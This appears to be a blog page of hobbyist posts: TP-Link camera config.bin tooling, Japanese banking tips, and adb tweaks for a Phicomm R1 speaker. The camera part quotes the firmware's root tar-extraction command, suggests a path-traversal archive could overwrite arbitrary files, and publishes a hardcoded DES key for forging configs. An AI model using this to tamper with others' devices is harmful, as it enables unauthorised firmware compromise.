  • fopen/fwrite → 写 /tmp/app_config.bin
  • system() ×2 → 执行(逐字命中固件内字符串):
    • mkdir -p /tmp/base-files/etc/;
    • tar -zxvf /tmp/app_config.bin -C /tmp/;rm -rf /tmp/app_config.bin;chmod -R 777 /tmp/base-files;chmod -R 777 /tmp/radio; // tplink非常风骚的操作,这里可以构造一个带路径穿越的tar.gz包,直接覆盖任意文件

用ai写的config.bin参数值修改、打包工具

使用说明

一、 基础准备

在运行脚本之前,你需要确保环境满足以下要求:

  1. 健康的大脑
  2. Python 3。
  3. 安装依赖库: 该脚本需要 pycryptodome 库来进行 DES 解密。
    不懂去问AI

二、大概流程

如果你想修改摄像头的某个功能参数(比如修改网络设置、账号等),最标准的流程是:导出 → 修改 → 校验 → 导入

第一步:导出当前配置为 JSON

首先,你需要从设备上获取一份原始的 config.bin 文件。 使用 export 命令将其转换为人类可读的 JSON 文件:

bashpython build_config_bin.py export config.bin config.json

会得到一个 config.json 文件,里面包含了所有的配置项。

第二步:修改 JSON 文件

手动打开 config.json,找到你想修改的参数进行编辑。

第三步:将修改后的 JSON 导入并生成新文件

使用 import 命令。这里需要原始的 config.bin 作为模板,因为它包含了设备唯一的硬件标识(如 product_id, vendor_id 等)。

bashpython build_config_bin.py import config.bin config.json new_config.bin

新构造的文件在同目录下 new_config.bin

第四步:校验文件

先本地检查一下可不可以通过固件检查:

bashpython build_config_bin.py verify new_config.bin

结果:如果看到 全部通过,说明文件格式本身合法,大概率可以上传成功(摄像头可以轻松变砖 笑)。


三、 其他功能

除了上述标准流程,脚本还提供了一些快捷工具:

1. 快速修改

如果你只需要改一个简单的字符串参数,可以使用 set 命令直接在二进制文件上操作:

bash# 假设你要把某个路径下的 key 改为 "new_value"
python build_config_bin.py set config.bin output.bin --kv "path.to.key=new_value"

2. 跨设备适配(重建配置)

如果你有一份 A 设备的配置,想把它的内容搬到 B 设备上,可以使用 rebuild。它会保留 A 设备的配置内容,但把 B 设备的硬件 ID 填入头部:

bashpython build_config_bin.py rebuild template.bin output.bin --product-id 61281 --vendor-id 0 --zone-code 0

3. 查看内部结构

可以使用 nodes 命令查看配置里有哪些节点:

bashpython build_config_bin.py nodes config.bin

这会列出所有的 NVMP 节点、类型(JSON 还是二进制数据)以及它们在文件中的位置。

4. 提取特定内容

如果你只需要提取某一部分(比如提取出里面的 app_config 压缩包):

bashpython build_config_bin.py extract config.bin 0 some_data.bin

注:0 是节点序号,可以在 nodes 命令中查看。

5. 基础解密/加密

如果你只是想单纯地把文件转换成明文或加密回二进制:

  • 解密python build_config_bin.py decrypt config.bin plaintext.txt
  • 加密python build_config_bin.py encrypt plaintext.txt config.bin

重要提示

DES Key:硬编码了 DES 解密密钥(D30474E282B5A282),不确定其他型号可不可以用。

备份:在操作任何 config.bin 之前,请务必保留原始文件的备份。

硬件匹配:除非你非常清楚自己在做什么,否则不要在不同型号的摄像头之间随意混用 config.bin,这可能导致设备变砖。

不提供任何保证。

在日本,可以使用通稱名開戶的銀行

2025年1月12日追記 関西ろうきん

本文討論前提:非日本籍、非永住,有在留卡,通稱名經過役所登錄,打印住民票的中可以確認到通稱名。且是新規開設口座,暫時不討論將已有口座名義變更到通稱名的情況。

簡短結論:四大行中選みずほ銀行,小众银行选SBJ銀行

繼續閱讀 在日本,可以使用通稱名開戶的銀行

日本国内送金でチャールズ・シュワブ国際投資口座に入金する方法

ご注意:三井住友銀行の手数料規定変更に伴い本文が紹介した方法が失効になりました、ご了承を。(2024年末)

チャールズ・シュワブ(Charles Schwab)の公式入金ガイドでは、シティバンク(Citi Bank)の支店にあるシュワブの受取口座に資金を送金するために、高い手数料がかかられる海外送金って方法のみになっている。 繼續閱讀 日本国内送金でチャールズ・シュワブ国際投資口座に入金する方法

使用日本國内匯款方式入金Charles Schwab International投資賬戶

2024年末更新:本文阐述的方法由于三井住友的规则和手续费修改,已经失效,本文已经没有意义。

下面是当时的原文:

前略。

Schwab給出的官方入金指引要求使用手續費高昂的海外送金(International Wire)方式給Schwab在花旗銀行(Citi Bank)的各地分行開設的收款賬戶轉賬入款。 繼續閱讀 使用日本國内匯款方式入金Charles Schwab International投資賬戶

斐訊R1智障音箱通過adb調試介面安裝apk實現AirPlay和DLNA功能

2025年9月6日更新:感謝網友haha推薦反饋,藍莓投屏比樂播投屏更好用一些。傳送門

因為揀垃圾是一件很快樂的事情,一年前(2019年)我特意從中國大陸的網站上購買了很多斐訊遺產,其中就包括斐訊R1音箱,通過重重困難飄洋過海轉運到了日本。

剛剛拿到手的R1音箱是沒有拆封的,不同時期生產的R1音箱,內置的韌體(ROM)版本是不一樣的,舊版本的韌體音質校準不是特別理想,需要通過DNS劫持、push工廠配置文件等等的方法升級到最新版本,網絡上有很多教程,有需要的人可以Google一下,應該馬上就可以找到。

廢話不多說,下面是正題:

如何通過adb調試介面安裝App?

首先要找到斐訊R1音箱的IP位址。

有很多方法,比如查看路由器的DHCP分配位址表:

Host Name是「Phicomm_R1」開頭的就是斐訊R1音箱

知道斐訊R1的IP位址之後,用adb連接它!

OX-Macbook:~ ox$ adb connect 192.168.0.40
connected to 192.168.0.40:5555

然後用adb push命令把需要安裝的apk推送到音箱上:

adb push [apk文件所在的本地路徑] /data/local/tmp/

// 比如這樣:
// adb push /Users/ox/Desktop/airplay.apk /data/local/tmp/

然後通過調用pm工具安裝剛才push的apk安裝包:

adb shell /system/bin/pm install -t /data/local/tmp/[文件名]
額外提醒

如果你不知道轉義字符是什麼東西,那你的文件名最好不要有奇怪的字符,比如空格和括號之類的。

安裝AirPlay接收端

「樂播投屏TV版」和「AirPin」還有「Media Center」我都在用。

AirPin 是收費的App,但是也有免費的版本(AirPin Lite),在R1上用的話已經足夠了。

樂播投屏TV版 是免費的App,但是會上傳MAC地址之類的隱私內容,有時候還會擅自更新,新版本的樂播投屏TV版每次新設備連接都需要點擊允許,沒有屏幕的R1音箱就只能通過scrcpy之類的工具連接到R1之後手動點擊允許,非常麻煩,介意的話可以安裝舊版本的同時在路由器上屏蔽樂播投屏的服務器(*.hpplay.cn)。

Media Center 是免費的App,不過似乎穩定性不是特別好,但是非常輕量。

安裝DLNA接受端

上面提到的三個Apps都支援DLNA功能,自己選一個用吧。

使用scrcpy操作R1音箱的UI介面

雖然用adb調試介面可以完成大多數操作,但是比如像更改AirPlay的顯示名稱之類的操作,還是需要GUI操作,因為R1沒有屏幕,所以需要用到一些可以遠端操作Android GUI介面的工具,比如scrcpy。

scrcpy的GitHub倉庫地址:https://github.com/Genymobile/scrcpy

Windows版本在這裏可以找到。

Linux和macOS可以通過包管理器很方便地安裝,具體參考這裏

使用方法極其簡單:以macOS為例,先用adb connect命令連接到R1音箱之後,再執行scrcpy就可以了。

比如像這樣:

OX-MacBook:~ ox$ adb connect 192.168.0.40
connected to 192.168.0.40:5555
OX-Macbook:~ ox$ scrcpy
使用scrapy連接斐訊R1音箱
更改Media Center的設備顯示名稱
打開Media Center的AirPlay功能和設定R1音箱啟動後自動打開AirPlay伺服器

三款App的下載地址

樂播投屏TV版舊版本:Download

AirPin Lite:Download

Media Center:Download

斐讯 R1 音箱關閉開機提示音

斐訊倒閉了,R1音箱早就不能正常用了。
前段時間有大神出了一個刷機的方案,但是要拆機自己焊接端口,比較麻煩,我只需要能播AirPlay就可以了,所以就沒有動力去拆機。
但是每次開機的那個提示音很吵很煩,有時候莫名其妙還會喚醒智障小訊,一直在想能不能把斐訊全家桶幹掉。
但是一直沒有出不拆機就能root的方案。
終於。今天晚上無聊,自己摸索出解決方案,開機再也沒有煩人的提示音,叫它也不會再應答,符合我自己的使用場景,現在把方法分享出來,其實核心內容很簡單,就是通過adb調用pm命令把斐訊全家桶hide掉就可以了。

下面是具體方法

先用斐訊AI的App讓R1連上Wi-Fi,然後找到R1的IP地址,然後

adb connect [R1 IP地址]

然後運行下面的命令

adb shell /system/bin/pm hide com.phicomm.speaker.productiontest
adb shell /system/bin/pm hide com.phicomm.speaker.bugreport
adb shell /system/bin/pm hide com.phicomm.speaker.otaservice
adb shell /system/bin/pm hide com.phicomm.speaker.player
adb shell /system/bin/pm hide com.phicomm.speaker.device

需要留意的是,com.phicomm.speaker.launcher 不可以hide掉,不然頂部的音量調節功能會失效。另外,為了讓開機的音效消失,需要把com.phicomm.speaker.device禁用,但是這樣按三下頂部按鈕開啟藍牙的功能就會失效

雖然隨時都可以通過执行adb shell /system/bin/pm unhide com.phicomm.speaker.device命令恢复蓝牙的功能,但是每次这个app启动,都会有很震耳的音效,每次执行命令之前都要注意R1的音量大小。

然後重新啟動就可以了:

adb shell reboot

想復原的話,只需要將命令的hide改為unhide,就可以了,如果部分功能还是没有恢复,可能需要重启。比如像這樣:

adb shell /system/bin/pm unhide com.phicomm.speaker.productiontest
adb shell /system/bin/pm unhide com.phicomm.speaker.bugreport
adb shell /system/bin/pm unhide com.phicomm.speaker.otaservice
adb shell /system/bin/pm unhide com.phicomm.speaker.player
adb shell /system/bin/pm unhide com.phicomm.speaker.device
// 重启的命令:
adb shell reboot

題外話

如果想乾脆一點,可以用/system/bin/pm uninstall --user 0 命令把上面的全家桶徹底刪掉,但是這個操作不可恢復,特別是com.phicomm.speaker.otaservice 如果徹底幹掉的話,想刷機就只能拆開,手工焊接上調試端口刷機了。